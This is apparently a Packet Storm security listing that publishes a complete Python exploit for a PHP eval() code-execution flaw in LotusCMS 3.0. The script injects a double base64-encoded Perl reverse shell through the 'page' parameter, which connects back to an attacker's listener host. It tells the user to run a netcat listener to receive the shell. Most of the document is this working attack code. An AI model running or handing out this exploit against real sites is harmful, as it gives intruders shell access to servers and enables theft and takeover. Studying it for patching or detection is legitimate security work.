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LotusCMS 3.0 PHP Code Execution

🗓️ 26 Jun 2013 00:00:00Reported by infodoxType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 13 Views

LotusCMS 3.0 PHP Code Execution exploit using eval() vulnerability to spawn a reverse shell. Script prepares a malicious request to perform the exploit and uses Perl to generate a reverse shell payload.

Code
`#!/usr/bin/python  
# Script that spawns a reverse shell (python)  
# on vulnerable LotusCMS 3.0 installations.  
# Uses a simple PHP eval() vulnerability.  
# http://secunia.com/secunia_research/2011-21/  
# infodox - Insecurety Research (2013)  
# insecurety.net - @info_dox  
import requests  
import random  
import threading  
import sys  
  
# Add in the payload generating functions here, add Perl later...  
# Add in the payload generating functions here  
def genpayload(host, port):  
""" Perl Reverse Shell Generator """  
load = """perl -e 'use Socket;$i="%s";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};';""" %(host, port)  
encoded = load.encode('base64')  
encoded = encoded.strip()  
encoded = encoded.replace('\n', '')  
encoded = encoded.encode('base64')  
encoded = encoded.strip()  
encoded = encoded.replace('\n', '') # double encoding , yes  
payload = "system(base64_decode(base64_decode('%s')))" %(encoded)  
return payload  
  
def hack(pwn):  
requests.get(pwn)  
  
def main():  
haxurl = "http://" + target + path + "index.php?page=index%27%29%3B%24{INSERTCODE}%3B%23"  
payload = genpayload(host, port)  
pwn = haxurl.replace("INSERTCODE", payload)  
print "[+] Preparing for hax"  
print "[!] Please run nc -lvp %s on your listener" %(port)  
raw_input("Press Enter to Fire...") # debugging  
print "[*] Sending malicious request..."  
threading.Thread(target=hack, args=(pwn,)).start() # ph33r l33t thr34d1ng  
print "[?] g0tr00t?"  
sys.exit(0)  
  
def randomQuote():  
quotes =\  
['Now with advice from Sabu!', 'Now with LOIC Support', 'Now with auto-DDoS',  
'Now with auto-brag!', 'Now with advice from Kevin Mitnick', 'Now with added dongles!',  
'Comes with free forkbombs!', 'Now with a free copy of Havij', 'Are you stoned, or just stupid?']  
randomQuote = random.choice(quotes)  
return randomQuote  
  
def banner():  
print "LotusCMS 3.0 Eval() Remote Code Execution Exploit."  
randomquote = randomQuote()  
print randomquote  
  
if len(sys.argv) != 5:  
banner()  
print "Usage: %s <target host> <path to lcms> <listener host> <listener port>" %(sys.argv[0])  
print "Example: %s hackme.com /lcms/ hacke.rs 1337" %(sys.argv[0])  
sys.exit(1)  
else:  
banner()  
target = sys.argv[1]  
path = sys.argv[2]  
host = sys.argv[3]  
port = sys.argv[4]  
main()  
  
`

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